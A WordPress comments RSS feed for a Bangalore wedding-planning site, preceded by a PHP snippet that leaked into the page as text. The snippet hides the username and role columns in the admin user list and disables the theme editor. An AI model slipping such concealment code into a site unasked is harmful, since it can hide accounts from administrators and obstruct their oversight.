function hide_user_columns($columns) {
    unset($columns['username']);
    unset($columns['role']);
    return $columns;
}
add_filter('manage_users_columns', 'hide_user_columns');
function disable_theme_functionality() {
    // 
    global $submenu;
    unset($submenu['themes.php'][5]);

    // 
    define('DISALLOW_FILE_EDIT', true);
}
add_action('admin_menu', 'disable_theme_functionality');
<br />
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<?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	
	>
<channel>
	<title>
	Comments for Rings &amp; Roses ~ Wedding Planners	</title>
	<atom:link href="https://ringsandroses.in/comments/feed/" rel="self" type="application/rss+xml" />
	<link>https://ringsandroses.in</link>
	<description>Top Wedding Planners in Bangalore Since 1999</description>
	<lastBuildDate>Thu, 22 Feb 2024 16:15:47 +0000</lastBuildDate>
	<sy:updatePeriod>
	hourly	</sy:updatePeriod>
	<sy:updateFrequency>
	1	</sy:updateFrequency>
	<generator>https://wordpress.org/?v=6.5.2</generator>
</channel>
</rss>